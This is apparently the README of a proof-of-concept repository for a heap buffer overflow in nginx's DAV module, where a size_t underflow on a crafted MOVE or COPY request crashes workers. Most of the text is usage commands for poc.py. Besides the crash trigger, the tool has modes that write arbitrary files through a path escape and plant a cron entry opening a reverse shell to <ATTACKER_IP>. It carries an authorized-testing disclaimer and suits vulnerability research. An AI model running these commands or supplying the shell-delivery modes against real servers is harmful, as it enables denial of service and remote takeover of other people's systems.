
NGINX `ngx_http_dav_module` Heap Buffer Overflow via `size_t` Underflow (Remote DoS / Potential RCE)
NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)
ngx_http_dav_copy_move_handler() in src/http/modules/ngx_http_dav_module.c
computes the destination URI length by subtracting the location prefix length
from the Destination header's URI path component. Both values are size_t
(unsigned 64-bit). When the destination path is shorter than the location
prefix, the subtraction wraps to ~0, producing a massive memcpy length that
overflows a 7-byte heap allocation and crashes the worker process.
A single crafted MOVE or COPY request to an alias-mapped DAV location
triggers the overflow. The nginx master respawns the worker, but repeated
requests hold the server in a continuous crash loop.
ASan confirms: negative-size-param: (size=-7) at memcpy in
ngx_http_core_module.c:1949, called from ngx_http_dav_copy_move_handler.
Affected: nginx 0.5.13 through 1.28.2 (stable) and 1.29.0 through 1.29.6
(mainline), compiled with --with-http_dav_module and using alias in the
DAV location. Fixed in 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
The default mode remains the canonical crash trigger. It sends PUT followed by
a crafted MOVE whose Destination path is shorter than the DAV location
prefix:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
For authorized lab configurations where DAV destination handling allows a
relative destination escape, the same tool can deliver attacker-controlled
content to a chosen path. The exact --location-prefix, --escape-depth, and
destination path must come from your own service configuration and recon:
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell, and cron-cmd are generic delivery helpers for
authorized environments with a writable DAV source and a destination path escape.
They are not required for proving the canonical heap-overflow crash.
--with-http_dav_module, location block using
alias (not root), dav_methods includes COPY or MOVErequests is used when available, otherwise the PoC
falls back to the Python standard library for plain HTTP targets.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wgetThis project is released under the GNU GPLv3.
It is provided for defensive security research, education, and authorized testing. Do not use this code against systems or services without explicit permission from the owner.
Unauthorized use may violate applicable law. The authors do not grant permission to test third-party systems and are not responsible for misuse.
See the LICENSE file for warranty and liability terms.
| File | Description |
|---|
poc.py | Python PoC -- canonical crash trigger plus generic COPY/MOVE destination modes |
run.sh | Builds nginx from source (ASan / non-ASan) and runs the PoC |
Dockerfile | Multi-stage build of vulnerable nginx 1.28.2 |
docker-compose.yml | One-command Docker setup |
nginx.conf | Vulnerable configuration (alias + dav_methods COPY MOVE) |
proof_output.txt | ASan output from live verification |